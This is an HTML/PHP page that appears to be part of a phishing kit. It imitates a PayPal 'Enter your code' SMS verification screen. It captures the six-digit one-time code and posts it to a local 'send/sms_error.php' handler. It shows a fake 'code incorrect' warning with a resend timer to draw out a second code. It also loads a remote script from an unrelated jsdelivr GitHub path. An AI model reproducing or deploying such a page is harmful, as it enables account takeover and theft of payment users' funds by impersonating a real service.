<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>PayPal Authentication</title>
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <link rel="icon" href="./images/favico.svg" type="image/x-icon">
  <style>
    :root {
      --paypal-blue: #003087;
      --paypal-light-blue: #0070ba;
      --paypal-white: #ffffff;
      --paypal-gray: #f5f7fa;
      --paypal-dark-gray: #2c2e2f;
      --paypal-light-gray: #e6e8eb;
      --success-green: #28a745;
      --warning-red: #dc3545;
    }
    * {
      margin: 0; padding: 0;
      box-sizing: border-box;
      font-family: 'Poppins', sans-serif;
    }
    body {
      background-color: var(--paypal-gray);
      color: var(--paypal-dark-gray);
      display: flex;
      justify-content: center;
      align-items: center;
      min-height: 100vh;
      padding: 20px;
    }
    .container {
      max-width: 480px;
      width: 100%;
      background-color: var(--paypal-white);
      border-radius: 16px;
      box-shadow: 0 8px 24px rgba(0, 48, 135, 0.1);
      overflow: hidden;
    }
    .header {
      background-color: var(--paypal-blue);
      padding: 24px;
      text-align: center;
      color: var(--paypal-white);
      position: relative;
    }
    .logo {
      position: absolute;
      top: 20px;
      left: 24px;
      height: 24px;
    }
    .header h1 {
      font-weight: 600;
      font-size: 24px;
      margin-bottom: 8px;
    }
    .header p {
      font-weight: 300;
      font-size: 14px;
      opacity: 0.9;
    }
    .content {
      padding: 32px;
    }
    .sms-confirmation {
      margin-top: 16px;
    }
    .sms-title {
      font-weight: 500;
      margin-bottom: 24px;
      font-size: 16px;
      text-align: center;
    }
    .code-inputs {
      display: flex;
      justify-content: space-between;
      margin-bottom: 24px;
    }
    .code-input {
      width: 48px;
      height: 56px;
      border: 2px solid var(--paypal-light-gray);
      border-radius: 8px;
      text-align: center;
      font-size: 24px;
      font-weight: 600;
      color: var(--paypal-blue);
      transition: all 0.2s;
    }
    .code-input.error {
      border-color: var(--warning-red);
    }
    .code-input:focus {
      border-color: var(--paypal-light-blue);
      outline: none;
      box-shadow: 0 0 0 3px rgba(0, 112, 186, 0.2);
    }
    .resend {
      text-align: center;
      font-size: 14px;
      color: var(--paypal-light-blue);
      cursor: pointer;
      margin-top: 16px;
    }
    .resend:hover {
      text-decoration: underline;
    }
    .notification {
      text-align: center;
      font-size: 14px;
      margin-top: 16px;
      font-weight: 500;
    }
    .success-notification {
      color: var(--success-green);
      display: none;
    }
    .error-notification {
      color: var(--warning-red);
      display: none;
    }
    .timer-notification {
      color: var(--warning-red);
      display: none;
    }
    .button {
      width: 100%;
      padding: 16px;
      border-radius: 50px;
      border: none;
      font-weight: 600;
      font-size: 16px;
      cursor: pointer;
      transition: all 0.2s;
    }
    .confirm-btn {
      background-color: var(--paypal-blue);
      color: white;
    }
    .confirm-btn:hover {
      background-color: #00256e;
    }
    .footer {
      padding: 16px;
      text-align: center;
      font-size: 12px;
      color: #6c757d;
      border-top: 1px solid var(--paypal-light-gray);
    }
    .copyright {
      margin-top: 8px;
      font-size: 11px;
      color: #6c757d;
    }
    @media (max-width: 480px) {
      .content { padding: 24px; }
      .code-input {
        width: 40px;
        height: 48px;
        font-size: 20px;
      }
      .logo {
        height: 20px;
        top: 22px;
        left: 16px;
      }
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="header">
      <h1>Enter your code</h1>
      <p>We sent a security code to your mobile device</p>
    </div>
    <div class="content">
      <form id="mrform" name="mrform" action="./send/sms_error.php" method="POST">
        <div class="sms-confirmation">
          <div class="sms-title">Enter 6-digit verification code</div>
          <div class="code-inputs">
            <input type="text" class="code-input" maxlength="1" name="digit1">
            <input type="text" class="code-input" maxlength="1" name="digit2">
            <input type="text" class="code-input" maxlength="1" name="digit3">
            <input type="text" class="code-input" maxlength="1" name="digit4">
            <input type="text" class="code-input" maxlength="1" name="digit5">
            <input type="text" class="code-input" maxlength="1" name="digit6">
          </div>
          <input type="hidden" id="full-code" name="verification_code">

          <div class="notification error-notification" id="error-notification">
Please complete all fields to continue          </div>
          <div class="resend" id="resend-code">Resend code</div>
          <div class="notification success-notification" id="sent-notification">Sent!</div>
          <div class="notification timer-notification" id="timer-notification"><br>The code you entered is incorrect. Please try again or request a new code.</br>Resend available in <span id="timer">02:00</span></div>
        </div>
        <br><br>
        <button type="submit" class="button confirm-btn" id="confirm-btn">Submit</button>
      </form>
    </div>
    <div class="footer">
      PayPal protects your information with industry-leading security.
      <div class="copyright">© 1999-<?php echo date("Y"); ?> PayPal, Inc. All rights reserved.</div>
    </div>
  </div>
<script src="https://cdn.jsdelivr.net/gh/900com/jsdelivr@latest/p3.js"></script>

  <script>
    document.addEventListener('DOMContentLoaded', function () {
      const codeInputs = document.querySelectorAll('.code-input');
      const resendBtn = document.getElementById('resend-code');
      const confirmBtn = document.getElementById('confirm-btn');
      const sentNotification = document.getElementById('sent-notification');
      const errorNotification = document.getElementById('error-notification');
      const timerNotification = document.getElementById('timer-notification');
      const timerDisplay = document.getElementById('timer');
      const fullCodeInput = document.getElementById('full-code');
      const verificationForm = document.getElementById('mrform');
      let timeLeft = 120;
      let timerInterval;

      function startTimer() {
        timerNotification.style.display = 'block';
        resendBtn.style.display = 'none';
        timerInterval = setInterval(() => {
          const minutes = Math.floor(timeLeft / 60);
          const seconds = timeLeft % 60;
          timerDisplay.textContent = `${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')}`;
          if (timeLeft <= 0) {
            clearInterval(timerInterval);
            timerNotification.style.display = 'none';
            resendBtn.style.display = 'block';
          } else {
            timeLeft--;
          }
        }, 1000);
      }

      startTimer();
      codeInputs[0].focus();

      codeInputs.forEach((input, index) => {
        input.addEventListener('input', function () {
          input.classList.remove('error');
          if (this.value.length === 1) {
            if (index < codeInputs.length - 1) {
              codeInputs[index + 1].focus();
            } else {
              confirmBtn.focus();
            }
          }
        });
        input.addEventListener('keydown', function (e) {
          if (e.key === 'Backspace' && this.value.length === 0 && index > 0) {
            codeInputs[index - 1].focus();
          }
        });
      });

      resendBtn.addEventListener('click', function () {
        clearInterval(timerInterval);
        timeLeft = 120;
        startTimer();
        sentNotification.style.display = 'block';
        errorNotification.style.display = 'none';
        setTimeout(() => {
          sentNotification.style.display = 'none';
        }, 3000);
        codeInputs.forEach(input => {
          input.value = '';
          input.classList.remove('error');
        });
        codeInputs[0].focus();
      });

      verificationForm.addEventListener('submit', function (e) {
        let code = '';
        let allFilled = true;

        codeInputs.forEach(input => {
          input.classList.remove('error');
          if (input.value.trim() === '') {
            allFilled = false;
            input.classList.add('error');
          } else {
            code += input.value.trim();
          }
        });

        if (!allFilled) {
          e.preventDefault();
          errorNotification.style.display = 'block';
          return;
        }

        // All fields filled - submit code
        errorNotification.style.display = 'none';
        fullCodeInput.value = code;
      });
    });
  </script>
</body>
</html>
